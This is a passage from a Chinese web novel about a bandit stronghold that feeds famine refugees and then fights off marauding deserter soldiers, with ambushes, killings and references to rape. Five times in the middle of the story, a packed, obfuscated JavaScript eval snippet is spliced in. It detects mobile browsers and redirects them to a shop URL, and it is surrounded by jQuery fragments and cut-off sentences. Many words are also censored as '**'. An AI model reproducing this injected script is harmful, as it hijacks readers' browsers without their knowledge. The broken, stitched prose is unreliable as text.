看张清明有些犹豫,宋孬蛋故意说道:“既然张兄弟有所顾虑,我们清风寨也绝不会强人所难,以后咱们两家山寨还会和平相处。” 张清明从进入清风寨就被这里豪华的建筑和和谐的氛围所感染,比起惨淡经营的青山寨,这里简直就是天堂,他没有不加入的理由。 “各位当家的,我既已决定加入清风寨,自然一切都听从寨务会的安排。” “哈哈,好,张兄弟痛快,今天晚上杀鸡宰羊,欢迎青山寨的兄弟们加入。” 人散后,李二狗单独把宋孬蛋留了下来。 “孬蛋,张清明这个人目前来看还是有一些才华,至于人品怎么样,还得继续观察。我看先让他进入寨务会,你再把大家的分工重新调整一下,下次上寨务会研究。” “好的,狗哥,我马上去办。” 李二狗下了山,回到夹皮沟村。 敲了半天门,里面都没人回应。 “爹,我是二狗,快开门。” “是二狗,是二狗,春妮,快……快去开门。” 开门的是一个青涩的女人,看模样比李二狗还小。 李富贵看到李二狗,一下子扑到李二狗怀里,哭得一把鼻涕一把泪。 “二狗啊,你终于回来了,爹被土匪绑了,差点死在土匪窝里。” 李二狗说道:“好了,爹,你以为土匪会平白无故把你放回来吗?我是花了钱的。我看你还是收拾收拾东西,跟我去镇上住吧。” “去镇上住?家里这些地怎么办?” “地都租给佃户种了,你留在村里有什么用?该收租的时候你再回来就是。” “家里刚盖的大瓦房,真是有点舍不得。” “留在村里你不怕再被土匪绑票吗?镇里房子我已经买好了,你要是愿意,随时可以搬过去。” 李富贵看了看身旁的女人,说道:“我和你娘商量商量再给你回复。” 李二狗脸都红了。 “明天我安排人来帮你搬家。” 李二狗说完转身就走。 “二狗,这就走啊?让你娘做面饼子给你吃,她做的面饼子可好吃了。” 李二狗头也没回,冲身后摆了摆手。 “还是留着爹自己吃吧。” 转眼就到了冬小麦播种时节,大片大片的土地因为没有麦种而无法播种。 于兰芝正抱着胡梦瑶坐在屋檐下晒太阳,李二狗走了进来。 逗弄了一会胡梦瑶,李二狗说道:“兰芝,有件事和你商量一下。” “什么事啊?你自己做主就行了,不用和我商量。” “现在到了小麦播种时节,我去地里看了看,大片的土地因为没有麦种而无法播种,如果这样的话即使熬过了这个冬天,佃户们明年还是无法生活下去。” “你的意思是把麦种发给佃户们?” “我的意见是借给他们,不然他们不懂得珍惜。” “二狗,你想过没有,把麦种借给他们,他们可能根本不拿去播种,而是吃了,对于极度饥饿的人来说,他们是没法考虑明年怎么样的。” “我考虑过这个问题,目前广佛寺每天为灾民提供一碗白面糊糊,灾民不至于饿死,我们发麦种的时候告诉他们,麦种里已经掺杂了农药不能食用,我想他们应该不会选择铤而走险。” “你都想好了就这样办吧,咱们的余粮也不多了,发完这次麦种可能就无法再给广佛寺提供粮食了。” 这正是李二狗所担心的,政府不赈灾,仅靠民间力量自救,根本解决不了问题。 这是一个什么样的政府?竟然毫不在意老百姓的死活! 连李二狗都懂得水能载舟亦能覆舟的道理,这些官老爷竟不懂! “只能走一步看一步了。” 在李二狗的操作下,仙人洞镇的冬小麦顺利种了下去,胡家大院的存粮也捉襟见肘,只能停止向广佛寺供应粮食,广佛寺的粥棚被迫关闭。<b ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940298|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' r>大批灾民被迫背井离乡重新开始流浪。 清风寨议事厅。 张清明已经知道了李二狗的**,他在震惊之余,对李二狗的佩服之情也如滔滔黄河之水一发而不可收。 “孬蛋,你给大家说一说山寨存粮的情况。” 宋孬蛋翻开面前的小本本,说道:“经过统计,目前山寨尚有小麦四十五万斤。” 秀才和张清明两人不禁倒吸一口凉气,他们没想到清风寨竟会有如此多的存粮,愈加佩服李二狗的远见卓识。 “鉴于目前灾情严重,政府又毫无作为,所以我建议,从明天开始,我们每天以胡家大院的名义向广佛寺捐赠两千斤小麦用来赈济灾民。” 听到每天捐赠两千斤小麦,大家都保持着沉默,毕竟不是少数。 “今年上半年,咱们通过倒买倒卖粮食赚了一些钱,我内心一直不安,赚这样的钱确实不应该。现在家乡父老面临劫难,很多人也许熬不过这个寒冷的冬天,咱们能眼睁睁看着他们饿死冻死吗?” 陈老三说道:“狗哥,大家不是不同意捐粮,只是觉得每天捐两千斤是不是太多了点?毕竟咱们存粮也不多,兄弟们也不能饿肚子不是?” “是啊,三哥说得有道理,从现在到明年小麦收获还得七八个月的时间,如果每天捐赠两千斤小麦,咱们也撑不了多久。” “关键是明年小麦能不能按时收获尚未可知,要是还像今年一样,咱们就太被动了。” 秀才和张清明新加入寨务会不久,他们还不敢轻易发表意见,便保持着沉默。 “秀才、清明,你俩什么意见?” 秀才只能说道:“我觉得确实应该捐,但在捐赠的数量上是不是再斟酌斟酌?” 秀才为了保险起见,选择和大多数人意见保持一致。 “清明,你什么意见?” 张清明想都没想,直接说道:“狗哥,我听您的。” 张清明一说完,秀才后悔不迭,作为新人,确实应该和老大的意见保持一致。 第249章 溃兵来到江东县 大家发表完各自的意见之后,李二狗并没有急着做总结性陈述。 他面带微笑,拿起桌上的茶杯,轻轻地呷了一口茶。 这个动作表明他在汇总考虑大家的意见以便做出决定。 清风寨有个规矩,举行寨务会的时候,除了寨务会成员之外,其他任何人不得随意进入议事厅。 张清明赶紧起身给李二狗的杯子里蓄满了水。 秀才再一次自惭形秽,恨不得狠狠地扇自己两个大嘴巴子。 在张清明面前,他就是个傻雏! 李二狗心想,张清明不愧是接受过正规学校教育的人,很有眼力劲,是个做大管家的人才。 “刚才大家说的意见都有一定的道理,但是大家有没有想过一个问题,如果山下的人都饿**,你手里拿着白面馍馍能咽得下去吗?反正我是咽不下去。” 议事厅里鸦雀无声。 “现在全县有几万灾民,年轻力壮的都出去讨饭了,剩下的都是一些老弱病残,广佛寺每天施舍的一碗粥就是他们生存下去的唯一指望,否则他们就得饿死!谁没有父母妻儿?谁没有老去的那一天?” 面对李二狗的灵魂拷问,大家纷纷低下头。 此刻,和李二狗比起来,他们觉得自己简直不是人,是畜生! 只顾自己,不顾别人! “狗哥,你别说了,我同意捐粮。” “我也同意。” “我也同意。” 最后大家一致同意每天向广佛寺捐赠两千斤小麦。 这种**决策的过程也让秀才和张清明大开眼界,他们一致认为,跟着李二狗混,肯定大有前途! 广佛寺门口架起了十几口大锅熬粥,每天寺庙门口都排着长长队伍,日复一日的场景,是这个萧瑟冬季少有的温暖场面。 与此同时,军阀之间的混战进入白热化。 今天张大帅和冯大帅打,明天张大帅联合冯大帅和蒋大帅打,后天蒋大帅又联合张大帅和冯大帅打,整个中原地区简直乱成了一锅粥。 军阀混战,遭殃的还是老百姓。 混战期间,老百姓流离失所,忍冻挨饿,再加上天灾,一时间饿殍遍野。 很多地方,难民为了换取一口吃食,许多人竟不惜售卖妻女、易子而食。 江东县因为有广佛寺施粥,饿死的人最少,也导致周边地区的难民纷纷涌入江东县,广佛寺一时间成为全省的焦点。 二千斤小麦已经远远没法满足难民每天的需求,寺院没有办法,只能拼命往稀饭里加水,一碗白面糊糊几乎清澈见底。 李二狗有种要出事的预感! “狗哥,你怎么了?看你一副愁眉苦脸的样子!” 李二狗背着手,站在后山悬崖上,眼睛眺望着远方。 半晌之后才缓缓说道:“孬蛋,周边的灾民大量涌入江东县,现在广佛寺已经应接不暇,很多难民排一天队都吃不上一碗稀饭。” 宋孬蛋叹息一声,说道:“狗哥,每天两千斤小麦已经接近咱们山寨能承受的极限,如果再增加,山寨恐撑不了多久!” 李二狗远比宋孬蛋考虑的更长久一些。 “孬蛋,现在的关键不是捐多捐少的问题,广佛寺已经引起上级的关注,粮食来源注定会成为大家关注的焦点,一个小小的胡家大院怎么会有如此多的粮食?” “狗哥,你也不用太过担心,现在咱们每天都是天亮之前直接把粮食送到广佛寺后门,一旦有人问起来,胡家大院完全可以说不知情。” “现在所有人都知道广佛寺的粮食是胡家大院捐的,到时候就是说不知情,也没人信啊。” “我想应该没事吧?你和王县长、孙局长关系密切,在江东县不会有人敢打胡家大院的主意。” “但愿是我杞人忧天吧。” 不久之后,一群散兵游勇溃败到江东县境内,虽然他们衣衫褴褛、形同乞丐,但手里有枪。 手里有枪,腰杆子就硬。 他们见粮食就抢,见女人就扑,一时间弄得江东人心惶惶,避之唯恐不及。 某一天清晨,他们**了刚刚送到广佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940299|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 寺的粮食,并**了几名寺院僧侣。 “这群畜生!竟在佛门净地**,简直是无法无天。” 李二狗拍了桌子。 宋孬蛋问道:“狗哥,还有那么多难民等着救济,我们现在怎么办?” “孬蛋,他们驻扎在哪里?有多少人?” “驻扎在大宗山脚下,少说也有两三百人。” 两三百人,已经远远超出清风寨的打击能力,这些人都是上过战场杀过人的兵痞,清风寨大多数兄弟连血都没见过,更别提**了。 “我去趟县城,你再安排人给广佛寺送一车粮食过去。” 李二狗来到县城,直接去了警察局。 “兄弟,你怎么来了?” 李二狗没有客套,开门见山地问道,“大哥,咱们县里来了一群溃兵,你听说了吧?” 孙竹刚眉头紧锁。 “听说了,”他指了指沙发,“坐下说。” “大哥,这群兵痞在县里为非作歹,你们警察局难道就不管吗?” “管?我的傻兄弟,他们没打进县城咱们就烧高香了。目前几个大帅为了争抢地盘打成了一锅粥,以后江东县归谁管都不知道,县保安团在外打仗,就凭我们警察局这两百来人,能管得了吗?” “今天早上,那伙溃兵**了广佛寺的粮食,还**了几个僧侣,实在是可恶至极。” “兄弟,提到广佛寺,我想起来一件事,听说广佛寺的粮食都是你们胡家大院捐的?” “大哥,这种传言你也相信?我们胡家大院就是有座粮山也不够这样嚯嚯的。” 孙竹刚低声说道:“兄弟,我得提醒你,不管这是不是传言,但是王县长好像信了。” “王县长愿意相信,我也没有办法,我们胡家大院现在是真的没有粮食了。” “兄弟,你有所不知,汤司令刚刚又下了征粮命令,王县长正在想办法征粮,你想,他能不找你吗?” 李二狗本来还想去找王正直汇报溃兵的事情,想了想王正直贪婪的眼神,只能作罢。 第250章 老总,她们还是孩子啊 李二狗回到胡家大院时,天色已经黯淡下来。 “狗哥。” 李二狗刚下马,宋孬蛋就从旁边一个胡同里钻了出来。 宋孬蛋这时候突然出现,很明显,一定是发生了大事。 “孬蛋,出什么事了?” “下午我安排人给广佛寺送粮食,在路上又被那群溃兵给抢了,还打死咱们两个送粮的兄弟。” “**,这群**兵痞,欺人太甚!” 李二狗气得双眼通红,胸口剧烈地起伏着。 “狗哥,你先别生气。这群溃兵好像已经知道粮食是从咱们山寨送下来的,特意在半路上设了伏,以后咱们再想往山下送粮食就难了。” 李二狗神色严峻,他一时半会儿还真不知道拿这群兵痞怎么办。 “狗哥,还有一件事,我说出来怕你更生气。” “说,有什么事还能比这更气人?” “昨天有一户人家结婚,十几个兵痞夜里闯进人家洞房,先把新郎杀了,然后把那个新娘给……,事后新娘也上吊**了。” 李二狗终于下定了决心。 “这群畜生,消灭他们!必须消灭他们!” “消灭他们?狗哥,他们可是有二三百人啊!” “就是**有二三千人,也坚决消灭这群兵痞!” “狗哥,让我来带队吧,你坐镇指挥。” 宋孬蛋主动请缨的态度令李二狗感动的同时也很欣慰。 “孬蛋,我知道你什么意思,但对付这群兵痞,我们不能硬来。” 宋孬蛋一直担心李二狗被气昏了头脑,没想到他头脑还是如此清醒。 “狗哥,你有主意了?” “目前还没有,不过我们可以先给他们来个下马威,让他们以后出来行凶的时候有所顾忌。” 李二狗附耳对宋孬蛋一番交代,宋孬蛋频频点头。 为了万无一失,宋孬蛋亲自带了两个人潜伏在溃兵驻扎的大宗山附近。 午夜时分,果然有一队溃兵出了营地,向清风寨方向奔去。 宋孬蛋悄悄跟了上去。 这群兵痞再次埋伏在清风寨到广佛寺的必经之路上,只不过这次换了一个地点。 宋孬蛋留下一个人继续观察,自己回到李二狗藏身的地方。 “狗哥,和你预料的一样,他们出来了。” “出来多少人?” “一共十一个人,现在正埋伏在十八里小庙东边的那片树林里。” “老三,你带十名兄弟埋伏在瞎子河旁边的那座山神庙里,石头,你带十名兄弟埋伏在庙前那片树林里。” “放心吧,狗哥。” 陈老三和张石头各自带了十名兄弟前往各自的埋伏地点。 “秀才,这次能不能成就看你的了。” “狗哥,你就瞧好吧。” 秀才年龄比李二狗大不少,但他还是愿意和别人一样叫李二狗狗哥,这既是一种尊重,也表示自己对李二狗心悦诚服。 天刚蒙蒙亮,清风寨送粮的队伍就下了山。 他们很快到达十八里小庙,兵痞刚从树林里窜出来,送粮的人就扔下粮车落荒而逃。 一个瘦得像麻杆一样的兵痞对着自己一双冻得红肿的双手哈了几口热气,说道:“连长,这群土匪都**是鼠胆,依我看呐,咱们干脆直接攻下清风寨,免得兄弟们晚上在这里挨冻。” 连长是个刀疤脸,一脸凶相。 “麻杆,你**懂个屁!清风寨地势险要,易守难攻,咱们即使最后能攻下来,得伤亡多少兄弟?咱们团现在就剩下这二三百人了,团长就是担心队伍打没了,才带着大家来这里躲一阵子,你想他能同意吗?” “我这不是怕冻着连长您嘛,嘿嘿。” “少**拍老子马屁!你行你来当这个连长。” “嘿嘿,连长您就别笑话我了,我哪当得了连长啊?我永远是您手下的一个兵,您指哪我打哪!” 刀疤脸指着麻杆骂道:“你小子就长了一张甜嘴,遇到危险,最先叛变的就是你这种人。” 麻杆连连摆手道:“嘿嘿,不会不会,我对连长您绝对是忠心耿耿。” 刀疤脸冻得直跺脚,骂道:“少**废话,赶紧让弟兄们把粮食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16945921|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 运回去。” 麻杆连连答应着,吆喝着大家去推车。 他们推着粮车走到瞎子河旁边的山神庙时,迎面走来三个人,一个中年男子带着两个年轻貌美的女人。 “连长,您快看,那两个小妞可真俊儿。” 刀疤脸早就看到了,他一把打落麻杆抬起的手。 “别把她们吓跑了,告诉兄弟们,待会不要着急,一个一个来。” “嘿嘿,连长您就放心吧,您不来,我们谁敢来啊,嘿嘿。” 中年男子看到一群穿着破烂、面目猥琐的官兵,吓得拉着两个女儿加快了前进的脚步。 “站住!干什么的?”麻杆伸手拦住父女三人的去路。 中年男子点头哈腰地说道:“老总,我们回家。” “回家?这么早回什么家?昨晚去哪了?” “我们刚从县城回来,走亲戚去了。” “走亲戚?一看你们就不是什么好人!说,你们是不是山里的土匪?” “老总,老总,您可别吓我们啊,我们怎么可能是土匪呢?再说,哪有女人当土匪的,您说是不是?” 麻杆狞笑着走向两个年轻的姑娘,眼睛直勾勾盯着她俩的前胸后臀。 “这是你女儿?” 两个姑娘吓得急忙躲在中年男子身后。 “爹,我好怕啊。” 娇滴滴的声音令人酥麻。 “老总,她们真是我女儿,我们不是土匪。” “看你长得那副歪瓜裂枣的模样,能生出这么水灵的女儿?当爷爷是傻子吗?” “老总,她们真是我女儿啊,这怎么还能骗人呢?” “是不是你女儿,我们试试就知道了,哈哈。” “爹爹,我好怕!” 兵痞们听到女人这种嗲里嗲气的声音,全身的鸡皮疙瘩都起来了。 “老总,她们真的是我女儿,求求你们高抬贵手,放我们过去吧。” “你可以过去,这两个女人得留下,我们得带回去好好调查调查她们到底是不是土匪。” “老总,她们还是孩子啊,求求你们放了我们吧。” 第251章 溃兵攻打清风寨 麻杆一脚把中年男子踢翻在地。 “**,真是不识抬举,信不信老子一枪崩了你?” 麻杆举枪瞄准了中年男人。 “爹爹……求求你们不要杀我爹爹!” 女人哭得梨花带雨,胸口一抖一抖的,把兵痞们看得一愣一愣的! 刀疤脸伸手把麻杆扒拉到自己身后,脸上堆满了猥琐的笑容。 “姑娘,你们不要怕,我们都是好人,只要你们乖乖听话,我们是绝对不会伤害你爹爹的。” “老总,我们听话,求求你别伤害我爹爹好吗?” “当然可以啊,我向你保证,我们绝对不会伤害你爹爹,但是你得怎么感谢我啊?” “只要你不伤害我爹爹,我们都听老总的。” 刀疤脸开心极了,脸上的横肉都跳动起来,没想到这么容易就得手了。 他伸出手摸向一个女人的脸颊,女人往后一闪,躲过了。 “老总,这里人来人往,人家会不好意思的,不如我们去庙里吧。” 女人说完便羞涩地低下了头。 刀疤脸两眼放光,连声说道:“好,好,一切都听你的。” 中年男人哭得一把鼻涕一把泪。 “老总,你们不能这样啊!她们还是个孩子啊。” “爹爹,您养育了我们姐妹这么多年,如今我们只能这样报答您的养育之恩了。” 说完两人就手拉着手向山神庙走去。 刀疤脸看呆了,他简直不敢相信自己的眼睛。 “连长,还等什么?咱们快进去吧。” “留下两个兄弟看守粮食,其他人跟我去山神庙,排好队一个一个来。” “嘿嘿,谢谢连长。” 刀疤脸兴奋地搓着手跑向山神庙,两个年轻的士兵被留下看守粮食,其他人纷纷跟着刀疤脸跑进山神庙。 “老总,人家好怕啊。” 刀疤脸满面红光,说话的声音都有些颤抖。 “妹子放心,我们都是怜香惜玉之人。” “老总,你好坏哦。” 说着她用手指轻轻戳了一下刀疤脸的胸口,刀疤脸的呼吸都变得急促起来。 “你们在门口老实排队,都不许说话。” 刀疤脸搂着女人进入大殿,“砰”的一声关上有些破旧的房门。 其他人见状把枪都放在院子里,纷纷解下腰带搭在肩膀上,排队在门口等待…… 里面突然变得静悄悄的,一点动静都没有。 “哈哈,连长肯定是乐屁了,怎么一点动静都没有。” “嘿嘿,待会我进去,肯定掀翻屋顶。” “你他娘就会扯犊子,上次咱俩去妓院,你**刚脱裤子就出来了,以为我不知道啊?” 众人发出一阵哄笑。 “你他娘少造谣,老子要是脱了裤子就不行,你娘怎么生的你?” “你**再胡咧咧,老子撕烂你的嘴。” 两个人要不是提着裤子,肯定已经打了起来。 “都**别吵了,里面怎么一点动静都没有?不会出什么事吧?” “连长,连长……” 里面依然没有动静。 “不好!” 麻杆一脚踹开门,看到连长光着膀子坐在正中央的椅子上,胸口插着一把尖刀,脚下是一滩猩红的血渍。 “连长!” 众人开始手忙脚乱地系上腰带,回头准备到院里去拿枪。 “都不许动!” 屋里屋外同时窜出几个**的人,领头的人正是陈老三。 麻杆吓得一声尖叫,“扑通”一声跪在地上求饶。 “好汉,好汉,咱们远日无仇,近日无冤,我们只是路过此地,如有打扰,还请原谅我们。” “你们这群畜生!我能原谅你们,被你们杀害的兄弟怎么原谅你们?被你们**的妇女怎么原谅你们?” 麻杆被怼得哑口无言! 见求饶不行,他立马换了一副嘴脸,威胁道:“我们团就驻扎在大宗山脚下,我奉劝你们还是不要得罪我们,否则……” “否则你奶奶个腿,一个不留,全部宰了!” 一屋子兵痞全部被抹了脖子。 “三哥,这些尸体怎么办?” “狗哥不让动,等着让他们团长来看,我们撤!” 外边留下看守的两个兵痞早被张石头带人宰了。 陈老三打趣道:“秀才,你他娘扮演的窝囊废太像了,哈哈。” “嘿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16945922|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 嘿,还是咱们娘子军的两位女英雄扮演的像,那娇滴滴的声音,哪个男人顶得住啊,哈哈。” 陈老三安排几个人把粮食送到广佛寺,其他人唱着歌回到山寨。 团长段正德看到刀疤脸等人的死状时,彻底被清风寨激怒了。 李二狗就是要激怒段正德,他们不攻山,李二狗就没有办法彻底消灭他们。 但李二狗还是远远低估了野战部队的实力,他们虽然是一股溃兵,但都是从刀山血海里摸爬滚打并存活下来的军人。 江东县保安团、警察局的战斗力和他们根本无法相提并论。 段正德没有带领队伍直接攻山,而是在山下架起两门山炮,对着清风寨就是一顿狂轰乱炸。 李二狗看不起他们这股溃兵的同时,段正德也同样瞧不起这群土匪,他以为随便打几炮,这群土匪就会溃逃。 毕竟是一群溃兵,炮弹有限,打了几炮之后,段正德见清风寨还不投降,就指挥手下的人开始攻山。 李二狗为了减少伤亡,只是在进山的路上提前埋设了**,并没有派出伏兵伏击。 最前面的两个溃兵踩响**之后,后面的工兵竟排起了**。 李二狗在望远镜里看到一颗一颗的**被他们从地下挖出来时,惊得望远镜差点掉在地上。 宋孬蛋也被惊得不轻,急忙问道:“狗哥,怎么办?” “孬蛋,你去打几炮,狠狠地打,不要节省炮弹。” “好嘞,狗哥,你就擎好吧,我都被憋疯了!” 宋孬蛋指挥着炮手,瞄准正在排雷的工兵就是一阵狂轰乱炸。 工兵们虽然停止了排雷,但这一顿狂轰乱炸,路上埋设的**也被炮弹炸没了。 “孬蛋,你他娘别打了,你这是在帮着他们排雷!” 清风寨这群人,平时每个人都觉得自己打仗很厉害,这次真打起来,才知道自己啥都不懂! 李二狗从望远镜里看到段正德正指挥着人往山上冲。 “孬蛋,给我接着轰,把那一片给我轰平,我就不信炸不死他们。” 一发一发炮弹接连不断地打了出去。 不得不说,宋孬蛋**还挺准! 第252章 清风寨危在旦夕 硝烟弥漫中,李二狗看到这群溃兵竟然纷纷躲在弹坑里,后面的炮弹再也打不进上一个弹坑里。 “孬蛋,别他娘打了,你看看你打的什么玩意?” 宋孬蛋接过望远镜,看到躲避在弹坑里的溃兵。 宋孬蛋一拍脑门,惊呼道:“哎呀,狗哥,我忘记了!教官当初教我**的时候说过,一门炮打出的两颗炮弹落在同一个弹坑里的几率不到万分之一,这些人都是兵油子,作战经验太丰富了!” 李二狗这才意识到,他们遇到硬茬子了! 一招不慎,清风寨很可能就葬送在这群溃兵手里了。 “好了,先别打了,我们赶紧去寨门,老子就是崩掉门牙也不能让他们攻进来。” 两人赶到寨门口时,两边已经交上了火。 陈老三、陈嘎子和张石头每人抱着一挺机关枪正打得有劲。 李二狗站上门楼子,放眼望去,那群溃兵全部躲在石头、树干后面,冷不丁地露头放一枪,他们只大声呐喊却并不冲锋,明显是在侦查清风寨的火力配置。 “好了,都别打了,火力全**暴露了。” “山上的人听着,我们团长有话要说。” 段正德躲在一块大石头后面,大声喊道:“鄙人是国民**军第五十八师一零五团团长段正德,让你们大当家的出来说话。” 张清明拿着一把中正**凑过来。 “狗哥,待会只要他一露头,我就能一**了他。” “有把握吗?这距离少说也得有三四百米。” 张清明又眯着眼睛测量了一下,很有信心地说道:“保证没问题。” 李二狗大声回应道:“原来是段团长啊,久闻您的大名,您不在战场上建功立业,不知道今日为何要对我一个小小的清风寨大动干戈啊?” “这话就要问你们了,为何要在山神庙杀害我那么多的兄弟?他们可都是跟了我多年的好兄弟,我段某人一定要为他们讨回一个公道!” “段团长可能是误会了,我们清风寨绝对不会滥杀无辜。” “怎么?敢做却不敢承认吗?难道清风寨的人都是缩头乌龟吗?哈哈!” 见段正德始终不肯露头,李二狗情急之下便从门楼子上站了起来。 宋孬蛋见状,赶紧伸手去拉李二狗。 “狗哥,快蹲下,危险!” 李二狗仿佛没听见宋孬蛋的话一般,他低声对旁边的张清明说道:“清明,一旦出现机会,一定要把握住。” “放心吧,狗哥。” “段团长,我们清风寨做事一向光明磊落,我想咱们之间肯定是有什么误会,不如我们见面谈一谈,你看怎么样?” “好啊,既然大当家的这么有诚意,那就请下山来谈吧。” “段团长,都已经到了我们清风寨门前,不如请你移步寨中,咱们坐下来慢慢谈,你看怎么样?” “哈哈,不是我段正德胆小怕事,本团长打了这么多年仗,之所以毫发无伤就是因为从不轻易相信任何人。” “狗哥,小心!” 张清明一把拉倒李二狗,一颗**从李二狗耳边呼啸而过。 “对面有狙击手!” “什么手?” “狙击手,就是暗中埋伏,伺机袭击对手,从事精度射击的**。” 看李二狗没明白,张清明继续解释道:“就是咱们平常说的神**。” 陈老三骂道:“娘的,你直接说神**不就完了吗?这整出这么多花花绕来。” 李二狗大声喊道:“没想到堂堂正规军的段团长竟然让手下的人躲在暗处打黑枪,哈哈,真是让我大开眼界啊。” “哈哈,咱们彼此彼此,你难道就没有这个心思吗?” “这么说,就是没得谈了?” “想和老子谈?得看你手里的家伙硬不硬,给我冲!” 段正德一声令下,他手下那群兵痞一边射击一边冲了出来。 其动作之快,射术之精,远超李二狗的想象。 “给我狠狠地打!” 好在清风寨手里的家伙硬,机关枪、**、**对着寨门外就是一顿招呼,冲在最前面的士兵纷纷倒地。 “团长,这群土匪火力太强了,我们这样硬冲不是办法啊,我看我们还是先撤吧。” “一群乌合之众罢了,告诉弟兄们,把迫击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16945923|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 炮给我架起来,把寨门轰开。” 几个士兵很快就架起了两门迫击炮。 “轰!” “轰!” 两发**精准地击中寨门楼子,几个兄弟被当场炸飞。 宋孬蛋把自己的身体压在李二狗身上。 “狗哥,这里太危险了,你快下去,我来指挥。” “少他娘扯淡!这时候我怎么可能扔下兄弟们?给我狠狠地打,今天我们与山寨共存亡!” 在李二狗的激励下,大家纷纷对着门外射击。 “嗖……嗖……” 又有两发**精准地落在门楼子上,山寨寨门被炸去半个。 一发炮弹在离宋孬蛋不远的地方**,炸了他一身尘土。 他大声喊道:“狗哥,再这样下去,门楼子就保不住了,我带几个兄弟冲下去吧。” “再等等,这时候冲下去就成了他们活靶子。” “砰!” 张清明放了一枪,紧接着又是“咔嚓”一声拉动**的声音。 “砰!” 他又打了一枪。 两声枪响之后,对方两名迫击炮的操作手被当场击毙。 张清明已经发现迫击炮的位置,两枪击倒两名操作手。 正当大家还在惊呼之时,又听到“咔嚓”一声拉**的声音。 “砰!” “轰!轰!轰!” 张清明竟然一枪打在一发迫击炮的炮弹上,顿时引爆了旁边的两箱炮弹,迫击炮和操作手全部被炸上了天。 “团长,我们快撤吧,不然就全折在这了。” 段正德一个团,现在只剩下二三百人,这是他东山再起的本钱,绝对不能全部折在这里。 “撤!” 看到段正德撤退,大家站在门楼子上开始欢呼。 李二狗冲着张清明竖了一个大拇指,夸道:“清明,你小子今天立了大功,我要重重赏你!” “嘿嘿,狗哥,这都是我应该做的,我不要奖赏。” “真的不要?你可别后悔啊!” 看李二狗的神情,张清明知道不是一般的奖赏。 “嘿嘿,狗哥,是什么奖赏啊?” “我特批你可以谈对象!” 第253章 李二狗深刻反思 段正德带领着残兵败将撤退之后,清风寨已是一片狼藉。 寨门被炸毁,门楼子的墙体被炸塌两处,山寨内部的几处房屋也被炮火击中燃起了大火。 在战斗中有三名兄弟不幸身亡,另外还有七八名兄弟不同程度的受伤。 自李二狗入主清风寨以来,从来没有吃过这么大的亏。 看着被白布蒙面死去的兄弟们,李二狗泪流满面、心如刀割。 他独自一人来到后山悬崖,目光呆滞地看向远方。 “狗哥,你也不要自责,打仗嘛,伤亡总是难免的。” 宋孬蛋不知道什么时候出现在李二狗身后。 李二狗招招手,让宋孬蛋坐在自己身旁。 “孬蛋,自从咱们接手清风寨以来,咱们都太自信了,总有一种老子天下第一的感觉,现在想想这哪里是什么自信?这是无知!是愚昧!是自以为是!” “狗哥,你别这么说!他们虽然是一群溃兵,但是都上过战场、杀过人,咱们这些兄弟在他们面前还是太稚嫩了,不是你指挥的问题。” “孬蛋,你也不要安慰我。现在想想咱们以前的那些训练方式,简直就是一群孩子在过家家,没能及时发现并改正这些问题,这都是我的责任。” 对于李二狗的话,宋孬蛋感同身受。 陈老三、陈嘎子、张石头包括自己,小时候没有读过几天书,更没有读过兵法、上过军校。 